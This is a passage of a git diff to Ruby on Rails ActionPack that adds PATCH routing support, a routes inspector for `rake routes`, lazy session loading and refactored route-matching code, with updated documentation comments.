+        @delegate.key?(key.to_s)
+      end
+      alias :key? :has_key?
+      alias :include? :has_key?
+
+      def keys
+        @delegate.keys
+      end
+
+      def values
+        @delegate.values
+      end
+
+      def []=(key, value)
+        load_for_write!
+        @delegate[key.to_s] = value
+      end
+
+      def clear
+        load_for_write!
+        @delegate.clear
+      end
+
+      def to_hash
+        load_for_read!
+        @delegate.dup.delete_if { |_,v| v.nil? }
+      end
+
+      def update(hash)
+        load_for_write!
+        @delegate.update stringify_keys(hash)
+      end
+
+      def delete(key)
+        load_for_write!
+        @delegate.delete key.to_s
+      end
+
+      def inspect
+        if loaded?
+          super
+        else
+          "#<#{self.class}:0x#{(object_id << 1).to_s(16)} not yet loaded>"
+        end
+      end
+
+      def exists?
+        return @exists unless @exists.nil?
+        @exists = @by.send(:session_exists?, @env)
+      end
+
+      def loaded?
+        @loaded
+      end
+
+      def empty?
+        load_for_read!
+        @delegate.empty?
+      end
+
+      def merge!(other)
+        load_for_write!
+        @delegate.merge!(other)
+      end
+
+      private
+
+      def load_for_read!
+        load! if !loaded? && exists?
+      end
+
+      def load_for_write!
+        load! unless loaded?
+      end
+
+      def load!
+        id, session = @by.load_session @env
+        options[:id] = id
+        @delegate.replace(stringify_keys(session))
+        @loaded = true
+      end
+
+      def stringify_keys(other)
+        other.each_with_object({}) { |(key, value), hash|
+          hash[key.to_s] = value
+        }
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
index 1dcd83ceb5..29090882a5 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -1,3 +1,4 @@
+# encoding: UTF-8
 require 'active_support/core_ext/object/to_param'
 require 'active_support/core_ext/regexp'
 
@@ -182,15 +183,18 @@ module ActionDispatch
   #
   # == HTTP Methods
   #
-  # Using the <tt>:via</tt> option when specifying a route allows you to restrict it to a specific HTTP method.
-  # Possible values are <tt>:post</tt>, <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>.
-  # If your route needs to respond to more than one method you can use an array, e.g. <tt>[ :get, :post ]</tt>.
-  # The default value is <tt>:any</tt> which means that the route will respond to any of the HTTP methods.
+  # Using the <tt>:via</tt> option when specifying a route allows you to
+  # restrict it to a specific HTTP method.  Possible values are <tt>:post</tt>,
+  # <tt>:get</tt>, <tt>:patch</tt>, <tt>:put</tt>, <tt>:delete</tt> and
+  # <tt>:any</tt>.  If your route needs to respond to more than one method you
+  # can use an array, e.g. <tt>[ :get, :post ]</tt>.  The default value is
+  # <tt>:any</tt> which means that the route will respond to any of the HTTP
+  # methods.
   #
   # Examples:
   #
   #   match 'post/:id' => 'posts#show', :via => :get
-  #   match 'post/:id' => "posts#create_comment', :via => :post
+  #   match 'post/:id' => 'posts#create_comment', :via => :post
   #
   # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
   # URL will route to the <tt>show</tt> action.
@@ -198,12 +202,12 @@ module ActionDispatch
   # === HTTP helper methods
   #
   # An alternative method of specifying which HTTP method a route should respond to is to use the helper
-  # methods <tt>get</tt>, <tt>post</tt>, <tt>put</tt> and <tt>delete</tt>.
+  # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
   #
   # Examples:
   #
   #   get 'post/:id' => 'posts#show'
-  #   post 'post/:id' => "posts#create_comment'
+  #   post 'post/:id' => 'posts#create_comment'
   #
   # This syntax is less verbose and the intention is more apparent to someone else reading your code,
   # however if your route needs to respond to more than one HTTP method (or all methods) then using the
@@ -215,6 +219,12 @@ module ActionDispatch
   #
   #   match "/stories" => redirect("/posts")
   #
+  # == Unicode character routes
+  #
+  # You can specify unicode character routes in your router:
+  #
+  #   match "こんにちは" => "welcome#index"
+  #
   # == Routing to Rack Applications
   #
   # Instead of a String, like <tt>posts#index</tt>, which corresponds to the
@@ -277,18 +287,12 @@ module ActionDispatch
   #
   module Routing
     autoload :Mapper, 'action_dispatch/routing/mapper'
-    autoload :Route, 'action_dispatch/routing/route'
     autoload :RouteSet, 'action_dispatch/routing/route_set'
     autoload :RoutesProxy, 'action_dispatch/routing/routes_proxy'
     autoload :UrlFor, 'action_dispatch/routing/url_for'
     autoload :PolymorphicRoutes, 'action_dispatch/routing/polymorphic_routes'
 
     SEPARATORS = %w( / . ? ) #:nodoc:
-    HTTP_METHODS = [:get, :head, :post, :put, :delete, :options] #:nodoc:
-
-    # A helper module to hold URL related helpers.
-    module Helpers #:nodoc:
-      include PolymorphicRoutes
-    end
+    HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc:
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
new file mode 100644
index 0000000000..bc7229b6a1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -0,0 +1,121 @@
+require 'delegate'
+
+module ActionDispatch
+  module Routing
+    class RouteWrapper < SimpleDelegator
+      def endpoint
+        rack_app ? rack_app.inspect : "#{controller}##{action}"
+      end
+
+      def constraints
+        requirements.except(:controller, :action)
+      end
+
+      def rack_app(app = self.app)
+        @rack_app ||= begin
+          class_name = app.class.name.to_s
+          if class_name == "ActionDispatch::Routing::Mapper::Constraints"
+            rack_app(app.app)
+          elsif ActionDispatch::Routing::Redirect === app || class_name !~ /^ActionDispatch::Routing/
+            app
+          end
+        end
+      end
+
+      def verb
+        super.source.gsub(/[$^]/, '')
+      end
+
+      def path
+        super.spec.to_s
+      end
+
+      def name
+        super.to_s
+      end
+
+      def reqs
+        @reqs ||= begin
+          reqs = endpoint
+          reqs += " #{constraints.inspect}" unless constraints.empty?
+          reqs
+        end
+      end
+
+      def controller
+        requirements[:controller] || ':controller'
+      end
+
+      def action
+        requirements[:action] || ':action'
+      end
+
+      def internal?
+        path =~ %r{/rails/info.*|^#{Rails.application.config.assets.prefix}}
+      end
+
+      def engine?
+        rack_app && rack_app.respond_to?(:routes)
+      end
+    end
+
+    ##
+    # This class is just used for displaying route information when someone
+    # executes `rake routes`.  People should not use this class.
+    class RoutesInspector # :nodoc:
+      def initialize
+        @engines = Hash.new
+      end
+
+      def format(all_routes, filter = nil)
+        if filter
+          all_routes = all_routes.select{ |route| route.defaults[:controller] == filter }
+        end
+
+        routes = collect_routes(all_routes)
+
+        formatted_routes(routes) +
+          formatted_routes_for_engines
+      end
+
+      def collect_routes(routes)
+        routes = routes.collect do |route|
+          RouteWrapper.new(route)
+        end.reject do |route|
+          route.internal?
+        end.collect do |route|
+          collect_engine_routes(route)
+
+          {:name => route.name, :verb => route.verb, :path => route.path, :reqs => route.reqs }
+        end
+      end
+
+      def collect_engine_routes(route)
+        name = route.endpoint
+        return unless route.engine?
+        return if @engines[name]
+
+        routes = route.rack_app.routes
+        if routes.is_a?(ActionDispatch::Routing::RouteSet)
+          @engines[name] = collect_routes(routes.routes)
+        end
+      end
+
+      def formatted_routes_for_engines
+        @engines.map do |name, routes|
+          ["\nRoutes for #{name}:"] + formatted_routes(routes)
+        end.flatten
+      end
+
+      def formatted_routes(routes)
+        name_width = routes.map{ |r| r[:name].length }.max
+        verb_width = routes.map{ |r| r[:verb].length }.max
+        path_width = routes.map{ |r| r[:path].length }.max
+
+        routes.map do |r|
+          "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 970236a05a..f64cff8394 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -1,6 +1,7 @@
 require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/object/inclusion'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/enumerable'
 require 'active_support/inflector'
 require 'action_dispatch/routing/redirection'
 
@@ -16,7 +17,7 @@ module ActionDispatch
           end
         end
 
-        attr_reader :app
+        attr_reader :app, :constraints
 
         def initialize(app, constraints, request)
           @app, @constraints, @request = app, constraints, request
@@ -34,6 +35,8 @@ module ActionDispatch
           }
 
           return true
+        ensure
+          req.reset_parameters
         end
 
         def call(env)
@@ -54,9 +57,20 @@ module ActionDispatch
 
         def initialize(set, scope, path, options)
           @set, @scope = set, scope
+          @segment_keys = nil
           @options = (@scope[:options] || {}).merge(options)
           @path = normalize_path(path)
           normalize_options!
+
+          via_all = @options.delete(:via) if @options[:via] == :all
+
+          if !via_all && request_method_condition.empty?
+            msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \
+                  "If you want to expose your action to GET, use `get` in the router:\n\n" \
+                  "  Instead of: match \"controller#action\"\n" \
+                  "  Do: get \"controller#action\""
+            raise msg
+          end
         end
 
         def to_route
@@ -86,6 +100,10 @@ module ActionDispatch
                 raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
               end
             end
+
+            if @options[:constraints].is_a?(Hash)
+              (@options[:defaults] ||= {}).reverse_merge!(defaults_from_constraints(@options[:constraints]))
+            end
           end
 
           # match "account/overview"
@@ -213,7 +231,9 @@ module ActionDispatch
           end
 
           def segment_keys
-            @segment_keys ||= Journey::Path::Pattern.new(
+            return @segment_keys if @segment_keys
+
+            @segment_keys = Journey::Path::Pattern.new(
               Journey::Router::Strexp.compile(@path, requirements, SEPARATORS)
             ).names
           end
@@ -229,6 +249,11 @@ module ActionDispatch
           def default_action
             @options[:action] || @scope[:action]
           end
+
+          def defaults_from_constraints(constraints)
+            url_keys = [:protocol, :subdomain, :domain, :host, :port]
+            constraints.slice(*url_keys).select{ |k, v| v.is_a?(String) || v.is_a?(Fixnum) }
+          end
       end
 
       # Invokes Rack::Mount::Utils.normalize path and ensure that
@@ -236,12 +261,12 @@ module ActionDispatch
       # for root cases, where the latter is the correct one.
       def self.normalize_path(path)
         path = Journey::Router::Utils.normalize_path(path)
-        path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^/]+\)$}
+        path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^)]+\)$}
         path
       end
 
       def self.normalize_name(name)
-        normalize_path(name)[1..-1].gsub("/", "_")
+        normalize_path(name)[1..-1].tr("/", "_")
       end
 
       module Base
@@ -251,11 +276,16 @@ module ActionDispatch
         #
         # For options, see +match+, as +root+ uses it internally.
         #
+        # You can also pass a string which will expand
+        #
+        #   root 'pages#main'
+        #
         # You should put the root route at the top of <tt>config/routes.rb</tt>,
         # because this means it will be matched first. As this is the most popular route
         # of most Rails applications, this is beneficial.
         def root(options = {})
-          match '/', { :as => :root }.merge(options)
+          options = { :to => options } if options.is_a?(String)
+          match '/', { :as => :root, :via => :get }.merge(options)
         end
 
         # Matches a url pattern to one or more routes. Any symbols in a pattern
@@ -325,7 +355,7 @@ module ActionDispatch
         #   +call+ or a string representing a controller's action.
         #
         #      match 'path', :to => 'controller#action'
-        #      match 'path', :to => lambda { [200, {}, "Success!"] }
+        #      match 'path', :to => lambda { |env| [200, {}, "Success!"] }
         #      match 'path', :to => RackApp
         #
         # [:on]
@@ -373,11 +403,11 @@ module ActionDispatch
         #
         #     # Matches any request starting with 'path'
         #     match 'path' => 'c#a', :anchor => false
+        #
+        # [:format]
+        #   Allows you to specify the default value for optional +format+
+        #   segment or disable it by supplying +false+.
         def match(path, options=nil)
-          mapping = Mapping.new(@set, @scope, path, options || {})
-          app, conditions, requirements, defaults, as, anchor = mapping.to_route
-          @set.add_route(app, conditions, requirements, defaults, as, anchor)
-          self
         end
 
         # Mount a Rack-based application to be used within the application.
@@ -403,6 +433,10 @@ module ActionDispatch
           if options
             path = options.delete(:at)
           else
+            unless Hash === app
+              raise ArgumentError, "must be called with mount point"
+            end
+
             options = app
             app, path = options.find { |k, v| k.respond_to?(:call) }
             options.delete(app) if app
@@ -410,7 +444,8 @@ module ActionDispatch
 
           raise "A rack application must be specified" unless path
 
-          options[:as] ||= app_name(app)
+          options[:as]  ||= app_name(app)
+          options[:via] ||= :all
 
           match(path, options.merge(:to => app, :anchor => false, :format => false))
 
@@ -437,7 +472,7 @@ module ActionDispatch
               app.railtie_name
             else
               class_name = app.class.is_a?(Class) ? app.name : app.class.name
-              ActiveSupport::Inflector.underscore(class_name).gsub("/", "_")
+              ActiveSupport::Inflector.underscore(class_name).tr("/", "_")
             end
           end
 
@@ -447,7 +482,11 @@ module ActionDispatch
             _route = @set.named_routes.routes[name.to_sym]
             _routes = @set
             app.routes.define_mounted_helper(name)
-            app.routes.class_eval do
+            app.routes.singleton_class.class_eval do
+              define_method :mounted? do
+                true
+              end
+
               define_method :_generate_prefix do |options|
                 prefix_options = options.slice(*_route.segment_keys)
                 # we must actually delete prefix segment keys to avoid passing them to next url_for
@@ -464,49 +503,49 @@ module ActionDispatch
         # Define a route that only recognizes HTTP GET.
         # For supported arguments, see <tt>Base#match</tt>.
         #
-        # Example:
-        #
-        # get 'bacon', :to => 'food#bacon'
+        #   get 'bacon', :to => 'food#bacon'
         def get(*args, &block)
-          map_method(:get, *args, &block)
+          map_method(:get, args, &block)
         end
 
         # Define a route that only recognizes HTTP POST.
         # For supported arguments, see <tt>Base#match</tt>.
         #
-        # Example:
-        #
-        # post 'bacon', :to => 'food#bacon'
+        #   post 'bacon', :to => 'food#bacon'
         def post(*args, &block)
-          map_method(:post, *args, &block)
+          map_method(:post, args, &block)
         end
 
-        # Define a route that only recognizes HTTP PUT.
+        # Define a route that only recognizes HTTP PATCH.
         # For supported arguments, see <tt>Base#match</tt>.
         #
-        # Example:
-        #
-        # put 'bacon', :to => 'food#bacon'
-        def put(*args, &block)
-          map_method(:put, *args, &block)
+        #   patch 'bacon', :to => 'food#bacon'
+        def patch(*args, &block)
+          map_method(:patch, args, &block)
         end
 
         # Define a route that only recognizes HTTP PUT.
         # For supported arguments, see <tt>Base#match</tt>.
         #
-        # Example:
+        #   put 'bacon', :to => 'food#bacon'
+        def put(*args, &block)
+          map_method(:put, args, &block)
+        end
+
+        # Define a route that only recognizes HTTP DELETE.
+        # For supported arguments, see <tt>Base#match</tt>.
         #
-        # delete 'broccoli', :to => 'food#broccoli'
+        #   delete 'broccoli', :to => 'food#broccoli'
         def delete(*args, &block)
-          map_method(:delete, *args, &block)
+          map_method(:delete, args, &block)
         end
 
         private
-          def map_method(method, *args, &block)
+          def map_method(method, args, &block)
             options = args.extract_options!
-            options[:via] = method
-            args.push(options)
-            match(*args, &block)
+            options[:via]    = method
+            options[:path] ||= args.first if args.first.is_a?(String)
+            match(*args, options, &block)
             self
           end
       end
@@ -524,13 +563,13 @@ module ActionDispatch
       # This will create a number of routes for each of the posts and comments
       # controller. For <tt>Admin::PostsController</tt>, Rails will create:
       #
-      #   GET	    /admin/posts
-      #   GET	    /admin/posts/new
-      #   POST	  /admin/posts
-      #   GET	    /admin/posts/1
-      #   GET	    /admin/posts/1/edit
-      #   PUT	    /admin/posts/1
-      #   DELETE  /admin/posts/1
+      #   GET       /admin/posts
+      #   GET       /admin/posts/new
+      #   POST      /admin/posts
+      #   GET       /admin/posts/1
+      #   GET       /admin/posts/1/edit
+      #   PATCH/PUT /admin/posts/1
+      #   DELETE    /admin/posts/1
       #
       # If you want to route /posts (without the prefix /admin) to
       # <tt>Admin::PostsController</tt>, you could use
@@ -558,13 +597,13 @@ module ActionDispatch
       # not use scope. In the last case, the following paths map to
       # +PostsController+:
       #
-      #   GET	    /admin/posts
-      #   GET	    /admin/posts/new
-      #   POST	  /admin/posts
-      #   GET	    /admin/posts/1
-      #   GET	    /admin/posts/1/edit
-      #   PUT	    /admin/posts/1
-      #   DELETE  /admin/posts/1
+      #   GET       /admin/posts
+      #   GET       /admin/posts/new
+      #   POST      /admin/posts
+      #   GET       /admin/posts/1
+      #   GET       /admin/posts/1/edit
+      #   PATCH/PUT /admin/posts/1
+      #   DELETE    /admin/posts/1
       module Scoping
         # Scopes a set of routes to the given default options.
         #
@@ -610,6 +649,10 @@ module ActionDispatch
             block, options[:constraints] = options[:constraints], {}
           end
 
+          if options[:constraints].is_a?(Hash)
+            (options[:defaults] ||= {}).reverse_merge!(defaults_from_constraints(options[:constraints]))
+          end
+
           scope_options.each do |option|
             if value = options.delete(option)
               recover[option] = @scope[option]
@@ -636,7 +679,6 @@ module ActionDispatch
 
         # Scopes routes to a specific controller
         #
-        # Example:
         #   controller "food" do
         #     match "bacon", :action => "bacon"
         #   end
@@ -653,13 +695,13 @@ module ActionDispatch
         #
         # This generates the following routes:
         #
-        #       admin_posts GET    /admin/posts(.:format)          admin/posts#index
-        #       admin_posts POST   /admin/posts(.:format)          admin/posts#create
-        #    new_admin_post GET    /admin/posts/new(.:format)      admin/posts#new
-        #   edit_admin_post GET    /admin/posts/:id/edit(.:format) admin/posts#edit
-        #        admin_post GET    /admin/posts/:id(.:format)      admin/posts#show
-        #        admin_post PUT    /admin/posts/:id(.:format)      admin/posts#update
-        #        admin_post DELETE /admin/posts/:id(.:format)      admin/posts#destroy
+        #       admin_posts GET       /admin/posts(.:format)          admin/posts#index
+        #       admin_posts POST      /admin/posts(.:format)          admin/posts#create
+        #    new_admin_post GET       /admin/posts/new(.:format)      admin/posts#new
+        #   edit_admin_post GET       /admin/posts/:id/edit(.:format) admin/posts#edit
+        #        admin_post GET       /admin/posts/:id(.:format)      admin/posts#show
+        #        admin_post PATCH/PUT /admin/posts/:id(.:format)      admin/posts#update
+        #        admin_post DELETE    /admin/posts/:id(.:format)      admin/posts#destroy
         #
         # === Options
         #
@@ -818,6 +860,11 @@ module ActionDispatch
           def override_keys(child) #:nodoc:
             child.key?(:only) || child.key?(:except) ? [:only, :except] : []
           end
+
+          def defaults_from_constraints(constraints)
+            url_keys = [:protocol, :subdomain, :domain, :host, :port]
+            constraints.slice(*url_keys).select{ |k, v| v.is_a?(String) || v.is_a?(Fixnum) }
+          end
       end
 
       # Resource routing allows you to quickly declare all of the common routes
@@ -863,24 +910,23 @@ module ActionDispatch
         # CANONICAL_ACTIONS holds all actions that does not need a prefix or
         # a path appended since they fit properly in their scope level.
         VALID_ON_OPTIONS  = [:new, :collection, :member]
-        RESOURCE_OPTIONS  = [:as, :controller, :path, :only, :except]
+        RESOURCE_OPTIONS  = [:as, :controller, :path, :only, :except, :param, :concerns]
         CANONICAL_ACTIONS = %w(index create new show update destroy)
 
         class Resource #:nodoc:
-          DEFAULT_ACTIONS = [:index, :create, :new, :show, :update, :destroy, :edit]
-
-          attr_reader :controller, :path, :options
+          attr_reader :controller, :path, :options, :param
 
           def initialize(entities, options = {})
             @name       = entities.to_s
             @path       = (options[:path] || @name).to_s
             @controller = (options[:controller] || @name).to_s
             @as         = options[:as]
+            @param      = (options[:param] || :id).to_sym
             @options    = options
           end
 
           def default_actions
-            self.class::DEFAULT_ACTIONS
+            [:index, :create, :new, :show, :update, :destroy, :edit]
           end
 
           def actions
@@ -920,30 +966,37 @@ module ActionDispatch
           alias :collection_scope :path
 
           def member_scope
-            "#{path}/:id"
+            "#{path}/:#{param}"
           end
 
+          alias :shallow_scope :member_scope
+
           def new_scope(new_path)
             "#{path}/#{new_path}"
           end
 
+          def nested_param
+            :"#{singular}_#{param}"
+          end
+
           def nested_scope
-            "#{path}/:#{singular}_id"
+            "#{path}/:#{nested_param}"
           end
 
         end
 
         class SingletonResource < Resource #:nodoc:
-          DEFAULT_ACTIONS = [:show, :create, :update, :destroy, :new, :edit]
-
           def initialize(entities, options)
             super
-
             @as         = nil
             @controller = (options[:controller] || plural).to_s
             @as         = options[:as]
           end
 
+          def default_actions
+            [:show, :create, :update, :destroy, :new, :edit]
+          end
+
           def plural
             @plural ||= name.to_s.pluralize
           end
@@ -975,12 +1028,12 @@ module ActionDispatch
         # the +GeoCoders+ controller (note that the controller is named after
         # the plural):
         #
-        #   GET     /geocoder/new
-        #   POST    /geocoder
-        #   GET     /geocoder
-        #   GET     /geocoder/edit
-        #   PUT     /geocoder
-        #   DELETE  /geocoder
+        #   GET       /geocoder/new
+        #   POST      /geocoder
+        #   GET       /geocoder
+        #   GET       /geocoder/edit
+        #   PATCH/PUT /geocoder
+        #   DELETE    /geocoder
         #
         # === Options
         # Takes same options as +resources+.
@@ -991,9 +1044,11 @@ module ActionDispatch
             return self
           end
 
-          resource_scope(SingletonResource.new(resources.pop, options)) do
+          resource_scope(:resource, SingletonResource.new(resources.pop, options)) do
             yield if block_given?
 
+            concerns(options[:concerns]) if options[:concerns]
+
             collection do
               post :create
             end if parent_resource.actions.include?(:create)
@@ -1003,9 +1058,12 @@ module ActionDispatch
             end if parent_resource.actions.include?(:new)
 
             member do
-              get    :edit if parent_resource.actions.include?(:edit)
-              get    :show if parent_resource.actions.include?(:show)
-              put    :update if parent_resource.actions.include?(:update)
+              get :edit if parent_resource.actions.include?(:edit)
+              get :show if parent_resource.actions.include?(:show)
+              if parent_resource.actions.include?(:update)
+                patch :update
+                put   :update
+              end
               delete :destroy if parent_resource.actions.include?(:destroy)
             end
           end
@@ -1023,13 +1081,13 @@ module ActionDispatch
         # creates seven different routes in your application, all mapping to
         # the +Photos+ controller:
         #
-        #   GET     /photos
-        #   GET     /photos/new
-        #   POST    /photos
-        #   GET     /photos/:id
-        #   GET     /photos/:id/edit
-        #   PUT     /photos/:id
-        #   DELETE  /photos/:id
+        #   GET       /photos
+        #   GET       /photos/new
+        #   POST      /photos
+        #   GET       /photos/:id
+        #   GET       /photos/:id/edit
+        #   PATCH/PUT /photos/:id
+        #   DELETE    /photos/:id
         #
         # Resources can also be nested infinitely by using this block syntax:
         #
@@ -1039,25 +1097,32 @@ module ActionDispatch
         #
         # This generates the following comments routes:
         #
-        #   GET     /photos/:photo_id/comments
-        #   GET     /photos/:photo_id/comments/new
-        #   POST    /photos/:photo_id/comments
-        #   GET     /photos/:photo_id/comments/:id
-        #   GET     /photos/:photo_id/comments/:id/edit
-        #   PUT     /photos/:photo_id/comments/:id
-        #   DELETE  /photos/:photo_id/comments/:id
+        #   GET       /photos/:photo_id/comments
+        #   GET       /photos/:photo_id/comments/new
+        #   POST      /photos/:photo_id/comments
+        #   GET       /photos/:photo_id/comments/:id
+        #   GET       /photos/:photo_id/comments/:id/edit
+        #   PATCH/PUT /photos/:photo_id/comments/:id
+        #   DELETE    /photos/:photo_id/comments/:id
         #
         # === Options
         # Takes same options as <tt>Base#match</tt> as well as:
         #
         # [:path_names]
-        #   Allows you to change the paths of the seven default actions.
-        #   Paths not specified are not changed.
+        #   Allows you to change the segment component of the +edit+ and +new+ actions.
+        #   Actions not specified are not changed.
         #
         #     resources :posts, :path_names => { :new => "brand_new" }
         #
         #   The above example will now change /posts/new to /posts/brand_new
         #
+        # [:path]
+        #   Allows you to change the path prefix for the resource.
+        #
+        #     resources :posts, :path => 'postings'
+        #
+        #   The resource and all segments will now route to /postings instead of /posts
+        #
         # [:only]
         #   Only generate routes for the given actions.
         #
@@ -1100,13 +1165,36 @@ module ActionDispatch
         #
         #   The +comments+ resource here will have the following routes generated for it:
         #
-        #     post_comments    GET    /posts/:post_id/comments(.:format)
-        #     post_comments    POST   /posts/:post_id/comments(.:format)
-        #     new_post_comment GET    /posts/:post_id/comments/new(.:format)
-        #     edit_comment     GET    /sekret/comments/:id/edit(.:format)
-        #     comment          GET    /sekret/comments/:id(.:format)
-        #     comment          PUT    /sekret/comments/:id(.:format)
-        #     comment          DELETE /sekret/comments/:id(.:format)
+        #     post_comments    GET       /posts/:post_id/comments(.:format)
+        #     post_comments    POST      /posts/:post_id/comments(.:format)
+        #     new_post_comment GET       /posts/:post_id/comments/new(.:format)
+        #     edit_comment     GET       /sekret/comments/:id/edit(.:format)
+        #     comment          GET       /sekret/comments/:id(.:format)
+        #     comment          PATCH/PUT /sekret/comments/:id(.:format)
+        #     comment          DELETE    /sekret/comments/:id(.:format)
+        #
+        # [:shallow_prefix]
+        #   Prefixes nested shallow route names with specified prefix.
+        #
+        #     scope :shallow_prefix => "sekret" do
+        #       resources :posts do
+        #         resources :comments, :shallow => true
+        #       end
+        #     end
+        #
+        #   The +comments+ resource here will have the following routes generated for it:
+        #
+        #     post_comments           GET       /posts/:post_id/comments(.:format)
+        #     post_comments           POST      /posts/:post_id/comments(.:format)
+        #     new_post_comment        GET       /posts/:post_id/comments/new(.:format)
+        #     edit_sekret_comment     GET       /comments/:id/edit(.:format)
+        #     sekret_comment          GET       /comments/:id(.:format)
+        #     sekret_comment          PATCH/PUT /comments/:id(.:format)
+        #     sekret_comment          DELETE    /comments/:id(.:format)
+        #
+        # [:format]
+        #   Allows you to specify the default value for optional +format+
+        #   segment or disable it by supplying +false+.
         #
         # === Examples
         #
@@ -1122,9 +1210,11 @@ module ActionDispatch
             return self
           end
 
-          resource_scope(Resource.new(resources.pop, options)) do
+          resource_scope(:resources, Resource.new(resources.pop, options)) do
             yield if block_given?
 
+            concerns(options[:concerns]) if options[:concerns]
+
             collection do
               get  :index if parent_resource.actions.include?(:index)
               post :create if parent_resource.actions.include?(:create)
@@ -1135,9 +1225,12 @@ module ActionDispatch
             end if parent_resource.actions.include?(:new)
 
             member do
-              get    :edit if parent_resource.actions.include?(:edit)
-              get    :show if parent_resource.actions.include?(:show)
-              put    :update if parent_resource.actions.include?(:update)
+              get :edit if parent_resource.actions.include?(:edit)
+              get :show if parent_resource.actions.include?(:show)
+              if parent_resource.actions.include?(:update)
+                patch :update
+                put   :update
+              end
               delete :destroy if parent_resource.actions.include?(:destroy)
             end
           end
@@ -1245,32 +1338,47 @@ module ActionDispatch
           parent_resource.instance_of?(Resource) && @scope[:shallow]
         end
 
-        def match(*args)
-          options = args.extract_options!.dup
-          options[:anchor] = true unless options.key?(:anchor)
-
-          if args.length > 1
-            args.each { |path| match(path, options.dup) }
-            return self
+        # match 'path' => 'controller#action'
+        # match 'path', to: 'controller#action'
+        # match 'path', 'otherpath', on: :member, via: :get
+        def match(path, *rest)
+          if rest.empty? && Hash === path
+            options  = path
+            path, to = options.find { |name, value| name.is_a?(String) }
+            options[:to] = to
+            options.delete(path)
+            paths = [path]
+          else
+            options = rest.pop || {}
+            paths = [path] + rest
           end
 
-          on = options.delete(:on)
-          if VALID_ON_OPTIONS.include?(on)
-            args.push(options)
-            return send(on){ match(*args) }
-          elsif on
+          options[:anchor] = true unless options.key?(:anchor)
+
+          if options[:on] && !VALID_ON_OPTIONS.include?(options[:on])
             raise ArgumentError, "Unknown scope #{on.inspect} given to :on"
           end
 
-          if @scope[:scope_level] == :resources
-            args.push(options)
-            return nested { match(*args) }
-          elsif @scope[:scope_level] == :resource
-            args.push(options)
-            return member { match(*args) }
+          paths.each { |_path| decomposed_match(_path, options.dup) }
+          self
+        end
+
+        def decomposed_match(path, options) # :nodoc:
+          if on = options.delete(:on)
+            send(on) { decomposed_match(path, options) }
+          else
+            case @scope[:scope_level]
+            when :resources
+              nested { decomposed_match(path, options) }
+            when :resource
+              member { decomposed_match(path, options) }
+            else
+              add_route(path, options)
+            end
           end
+        end
 
-          action = args.first
+        def add_route(action, options) # :nodoc:
           path = path_for_action(action, options.delete(:path))
 
           if action.to_s =~ /^[\w\/]+$/
@@ -1279,13 +1387,15 @@ module ActionDispatch
             action = nil
           end
 
-          if options.key?(:as) && !options[:as]
+          if !options.fetch(:as, true)
             options.delete(:as)
           else
             options[:as] = name_for_action(options[:as], action)
           end
 
-          super(path, options)
+          mapping = Mapping.new(@set, @scope, URI.parser.escape(path), options)
+          app, conditions, requirements, defaults, as, anchor = mapping.to_route
+          @set.add_route(app, conditions, requirements, defaults, as, anchor)
         end
 
         def root(options={})
@@ -1341,7 +1451,7 @@ module ActionDispatch
           end
 
           def scope_action_options? #:nodoc:
-            @scope[:options].is_a?(Hash) && (@scope[:options][:only] || @scope[:options][:except])
+            @scope[:options] && (@scope[:options][:only] || @scope[:options][:except])
           end
 
           def scope_action_options #:nodoc:
@@ -1349,11 +1459,11 @@ module ActionDispatch
           end
 
           def resource_scope? #:nodoc:
-            @scope[:scope_level].in?([:resource, :resources])
+            [:resource, :resources].include? @scope[:scope_level]
           end
 
           def resource_method_scope? #:nodoc:
-            @scope[:scope_level].in?([:collection, :member, :new])
+            [:collection, :member, :new].include? @scope[:scope_level]
           end
 
           def with_exclusive_scope
@@ -1378,8 +1488,8 @@ module ActionDispatch
             @scope[:scope_level_resource] = old_resource
           end
 
-          def resource_scope(resource) #:nodoc:
-            with_scope_level(resource.is_a?(SingletonResource) ? :resource : :resources, resource) do
+          def resource_scope(kind, resource) #:nodoc:
+            with_scope_level(kind, resource) do
               scope(parent_resource.resource_scope) do
                 yield
               end
@@ -1387,18 +1497,20 @@ module ActionDispatch
           end
 
           def nested_options #:nodoc:
-            {}.tap do |options|
-              options[:as] = parent_resource.member_name
-              options[:constraints] = { "#{parent_resource.singular}_id".to_sym => id_constraint } if id_constraint?
-            end
+            options = { :as => parent_resource.member_name }
+            options[:constraints] = {
+              parent_resource.nested_param => param_constraint
+            } if param_constraint?
+
+            options
           end
 
-          def id_constraint? #:nodoc:
-            @scope[:constraints] && @scope[:constraints][:id].is_a?(Regexp)
+          def param_constraint? #:nodoc:
+            @scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
           end
 
-          def id_constraint #:nodoc:
-            @scope[:constraints][:id]
+          def param_constraint #:nodoc:
+            @scope[:constraints][parent_resource.param]
           end
 
           def canonical_action?(action, flag) #:nodoc:
@@ -1411,9 +1523,9 @@ module ActionDispatch
 
           def path_for_action(action, path) #:nodoc:
             prefix = shallow_scoping? ?
